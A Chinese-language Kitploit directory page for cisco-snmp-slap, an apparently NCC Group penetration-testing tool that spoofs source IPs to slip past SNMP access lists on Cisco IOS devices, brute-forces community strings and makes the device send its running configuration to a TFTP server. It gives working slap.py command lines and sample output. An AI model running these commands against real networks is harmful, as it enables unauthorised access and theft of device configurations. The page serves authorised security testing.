Skip to content
KitploitKITPLOIT
工具博客
提交
工具博客
提交

黑客、渗透测试和网络安全工具,武装您的安全武器库!

Kitploit 是一个黑客、网络安全和渗透测试工具的目录。发现最新的项目更新,查找漏洞、分析系统、自动化测试并加强你的安全。

··订阅源·联系·隐私·© 2026 Kitploit

工具目录

分类

查看所有分类
Loading categories
Cisco-SNMP-Slap — 用于绕过 Cisco IOS 设备上 ACL 的 IP 欺骗与 SNMP 团体字符串暴力破解工具,并可通过 TFTP 外传配置文件。 | Kitploit
工具/GitHubGitHub/nccgroup/cisco-snmp-slap
密码攻击漏洞分析漏洞利用信息收集网络安全渗透测试红队
GitHubnccgroup/cisco-snmp-slap

Cisco-SNMP-Slap

用于绕过 Cisco IOS 设备上 ACL 的 IP 欺骗与 SNMP 团体字符串暴力破解工具,并可通过 TFTP 外传配置文件。

查看仓库
581511年前Kitploit 审核通过

最受欢迎

查看全部 →

发现我们社区最常用的工具。

探索所有工具

浏览我们的工具集合

查看所有工具 →
分享

概述

cisco-snmp-slap 利用 IP 地址欺骗来绕过保护 Cisco IOS 设备上 SNMP 服务的 ACL。

通常,IP 欺骗在真实攻击中除了 DoS 之外用途有限。任何 TCP 服务都无法完成初始握手。UDP 数据包更容易伪造,但返回的数据包通常会发送到错误的地址,这使得收集返回的信息变得困难。

然而,如果攻击者能够猜出 SNMP rw 团体字符串(community string)和一个有效的源地址,就可以设置 SNMP MIB。其中一个更明显的用途是让 Cisco SNMP 服务将其 IOS 配置文件发送到另一台设备。

该工具允许你从一个或多个 IP 地址尝试一个或多个团体字符串来访问 Cisco 设备。在指定 IP 地址时,你可以选择连续或随机地遍历一系列源地址。

要指定要检查的源 IP 地址范围,需要提供初始源地址和 IP 掩码。IP 掩码中设置的任何位都将用于通过修改初始源地址来生成源 IP 地址。

例如,如果提供源地址 10.0.0.0 和 IP 掩码 0.0.0.255,脚本将探索从 10.0.0.0 到 10.0.0.255 的地址。

设置的位不必像子网掩码那样连续。例如,掩码 0.128.1.255 是有效的,将探索范围 10.0,128.0-1.0-255。

当随机或连续检查 IP 地址范围时,你需要输入 tftp 目录根目录的路径。脚本将检查该目录,以确认文件是否已成功传输。

这个工具是为在渗透测试期间针对 Cisco 三层交换机而编写的,不过它也可能有其他用途。它对这些设备效果很好,因为:

  1. 根据作者的经验,三层交换机很少配置反向路径验证
  2. 没有路由器或其他设备能够检测到正在发生 IP 欺骗。

不过,我希望用户能为这个脚本及其源代码找到其他有趣的用途。

用法

在这个例子中,我将使用一个简单的 IOS 设备,它有一个访问列表,使用团体字符串 'cisco' 保护 SNMP 服务:

root@kitploit:~
access-list 10 permit 10.100.100.0 0.0.0.255
snmp-server community cisco rw 10

其中一台 IOS 设备的 IP 地址是 10.0.0.1

渗透测试者的 IP 地址是 10.0.0.2,并且已经启动了一个 TFTP 服务器。

如果测试者知道所有这些信息,就可以使用 one shot 单次模式来获取设备的配置文件。例如:

root@kitploit:~
./slap.py single cisco 10.0.0.2 10.100.100.100 10.0.0.1

如果测试者不知道这些细节,可以尝试猜测。假设测试者已经进行了一些侦察,并发现所有内部地址都在 10.0.0.0/8 范围内。

root@kitploit:~
./slap.py seqmask private 10.0.0.2 10.0.0.0 0.255.255.0 10.0.0.1 /tftproot/

这个命令将搜索所有 /24 子网。测试者希望通过假设整个子网都被允许访问(而不是只有一个 IP 地址)来节省时间。

root@kitploit:~
root@Athena:/home/notroot/cisco-snmp-slap# ./slap.py seqmask cisco 10.0.0.2 10.0.0.5 0.255.255.0 10.0.0.1 /tftproot/
Cisco SNMP Slap,  v0.3
Darren McDonald, [email protected]

WARNING: No route found for IPv6 destination :: (no default route?)
Community String:   cisco
TFTP Server IP  :   10.0.0.2
Source IP:          10.0.0.5
Source Mask:        0.255.255.0
Destination IP:     10.0.0.1
TFTP Root Path:     /tftproot//cisco-config.txt
10.0.0.5
10.0.1.5
10.0.2.5
< ... cut for brevity ... >
10.100.99.255
10.100.100.0
10.100.100.1
10.100.100.2
10.100.100.3
10.100.100.4
10.100.100.5
10.100.100.6
Success!

你会注意到,程序在进入 10.100.100.0/24 范围后,经过几个 IP 地址才退出并宣布成功。这是因为无法确定哪个源地址成功了,只有在配置文件出现在 tftproot 中后,才能确定其中一个请求已成功。既然你刚刚拿到了运行配置,现在就可以自己找出 ACL 的细节了。

除了指定单个团体字符串之外,你还可以提供一个要使用的列表。模式名称相同,只是带有 '_l' 后缀。

例如,要使用 list.txt 中的团体字符串列表重复相同的攻击,应使用以下参数:

root@kitploit:~
root@Athena:/home/notroot/cisco-snmp-slap# ./slap.py seqmask_l list.txt 10.0.0.2 10.0.0.5 0.255.255.0 10.0.0.1 /tftproot/
Cisco SNMP Slap,  v0.3
Darren McDonald, [email protected]

WARNING: No route found for IPv6 destination :: (no default route?)
Community File: list.txt
TFTP Server IP  :   10.0.0.2
Source IP:  10.0.0.5
Source Mask:0.255.255.0
Destination IP: 10.0.0.1
TFTP Root Path: /tftproot//cisco-config.txt
community strings loaded:  ['private\n', 'cisco\n', 'public\n']
10.0.0.5 /  private
10.0.0.5 /  cisco
10.0.0.5 /  public
10.0.1.5 /  private
10.0.1.5 /  cisco
10.0.1.5 /  public
10.0.2.5 /  private
10.0.2.5 /  cisco
10.0.2.5 /  public
10.0.3.5 /  private
10.0.3.5 /  cisco
10.0.3.5 /  public

现在,每个 IP 地址都会与 list.txt 中的每个团体字符串进行逐一检查。

支持

就编程语言而言,Python 是一种简单的语言,易于阅读和编写。我鼓励你尝试调试并修复你发现的任何问题,并将你的更改发送给我,以便我可以与 NCC Github 上的其他用户分享。

但如果你需要帮助,可以通过 [email protected] 联系我。我会尽力帮助你,但你要知道我不是全职开发人员(从我的代码中应该可以看出来!),可能无法立即有时间处理你的问题。

版本

  • 0.1 初始版本
  • 0.2 添加了随机和顺序模式以及源地址掩码
  • 0.3 添加了团体字符串文件列表功能,首个公开版本
  • 0.3.1 现在使用 os.sep,以便路径在 Windows 上也能正确工作
下载工具